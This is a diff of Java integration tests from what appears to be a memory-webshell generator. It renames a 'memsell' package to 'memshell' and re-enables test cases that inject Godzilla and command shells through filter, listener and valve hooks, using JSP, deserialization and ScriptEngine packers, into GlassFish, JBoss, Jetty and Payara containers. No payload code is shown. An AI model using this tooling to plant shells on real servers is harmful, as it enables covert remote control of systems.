return Stream.of(
|
||||
// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException
|
||||
// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // Caused by: java.lang.ClassNotFoundException: javax.crypto.Cipher not found by org.glassfish.main.web.glue [222]
|
||||
// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
||||
);
|
||||
|
||||
+4
-4
@@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.glassfish;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.glassfish.GlassFishShell;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.GlassFishShell;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -57,8 +57,8 @@ public class GlassFish4ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // Caused by: java.lang.ClassNotFoundException: javax.crypto.Cipher not found by org.glassfish.main.web.glue [222]
|
||||
// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
||||
);
|
||||
|
||||
+4
-4
@@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.glassfish;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.glassfish.GlassFishShell;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.GlassFishShell;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -50,8 +50,8 @@ public class GlassFish501ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // Caused by: java.lang.ClassNotFoundException: javax.crypto.Cipher not found by org.glassfish.main.web.glue [222]
|
||||
// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
||||
);
|
||||
|
||||
+5
-5
@@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.glassfish;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.glassfish.GlassFishShell;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.GlassFishShell;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -54,9 +54,9 @@ public class GlassFish510ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
||||
// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // Caused by: java.lang.ClassNotFoundException: javax.crypto.Cipher not found by org.glassfish.main.web.glue [222]
|
||||
// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
||||
arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
||||
arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine)
|
||||
|
||||
+4
-4
@@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.glassfish;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.glassfish.GlassFishShell;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.GlassFishShell;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -50,8 +50,8 @@ public class GlassFish6ContainerTest {
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
// arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // Caused by: java.lang.ClassNotFoundException: javax.crypto.Cipher not found by org.glassfish.main.web.glue [222]
|
||||
// arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
||||
);
|
||||
|
||||
+3
-3
@@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.glassfish;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.glassfish.GlassFishShell;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.GlassFishShell;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -46,7 +46,7 @@ public class GlassFish7ContainerTest {
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
// arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // Caused by: java.lang.ClassNotFoundException: javax.crypto.Cipher not found by org.glassfish.main.web.glue [222]
|
||||
arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
|
||||
);
|
||||
}
|
||||
|
||||
+3
-2
@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jbossas;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -41,7 +41,8 @@ public class Jboss423ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
|
||||
+3
-2
@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jbossas;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -41,7 +41,8 @@ public class Jboss510ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
|
||||
+1
-1
@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jbossas;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
|
||||
+6
-2
@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jbossas;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -45,9 +45,13 @@ public class Jboss711ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
+6
-2
@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jbosseap;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -42,9 +42,13 @@ public class JbossEap6ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
+1
-1
@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jbosseap;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
|
||||
+1
-1
@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jetty;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
|
||||
+2
-2
@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jetty;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -40,7 +40,7 @@ public class Jetty11ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // <h3>Caused by: java.lang.IllegalStateException: No multipart config for servlet
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
|
||||
+3
-2
@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jetty;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -40,7 +40,8 @@ public class Jetty61ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
|
||||
+3
-2
@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jetty;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -40,7 +40,8 @@ public class Jetty76ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
|
||||
+1
-1
@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jetty;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
|
||||
+1
-1
@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jetty;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
|
||||
+1
-1
@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jetty;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
|
||||
+1
-1
@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jetty;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
|
||||
+4
-4
@@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.payara;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.glassfish.GlassFishShell;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.GlassFishShell;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -54,8 +54,8 @@ public class Payara5201ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
||||
// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // Caused by: java.lang.ClassNotFoundException: javax.crypto.Cipher not found by org.glassfish.main.web.glue [222]
|
||||
// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine)
|
||||
|
||||
+4
-4
@@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.payara;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memsell.payara.PayaraShell;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.PayaraShell;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -50,8 +50,8 @@ public class Payara520225ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
// arguments(imageName, PayaraShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // java.lang.NoClassDefFoundError: javax/crypto/Cipher
|
||||
// arguments(imageName, PayaraShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, PayaraShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, PayaraShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, PayaraShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, PayaraShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
||||
);
|
||||
|
||||
+4
-4
@@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.payara;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memsell.payara.PayaraShell;
|
||||
import com.reajason.javaweb.memshell.PayaraShell;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -50,8 +50,8 @@ public class Payara620222ContainerTest {
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
// arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // java.lang.NoClassDefFoundError: javax/crypto/Cipher
|
||||
// arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
